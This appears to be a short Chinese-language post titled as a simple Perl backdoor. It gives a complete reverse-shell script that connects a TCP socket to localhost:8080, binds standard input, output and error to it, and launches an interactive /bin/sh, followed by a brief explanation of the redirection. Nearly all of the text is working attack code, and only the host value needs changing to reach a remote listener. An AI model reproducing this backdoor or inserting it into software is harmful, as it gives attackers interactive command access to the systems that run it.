perl 简单后门程序

#!/usr/bin/env perl
use warnings;
use strict;
use Socket;
 
my $HOST='localhost';
my $PORT=8080;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($PORT, inet_aton($HOST)))){
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
}

上面的open是为了重定向， 把socket的所有重定向到shell的所有
最后的exec是为了跳进/bin/sh
因为前面已把 S 跟STDIN STDOUT STDERR连接了起来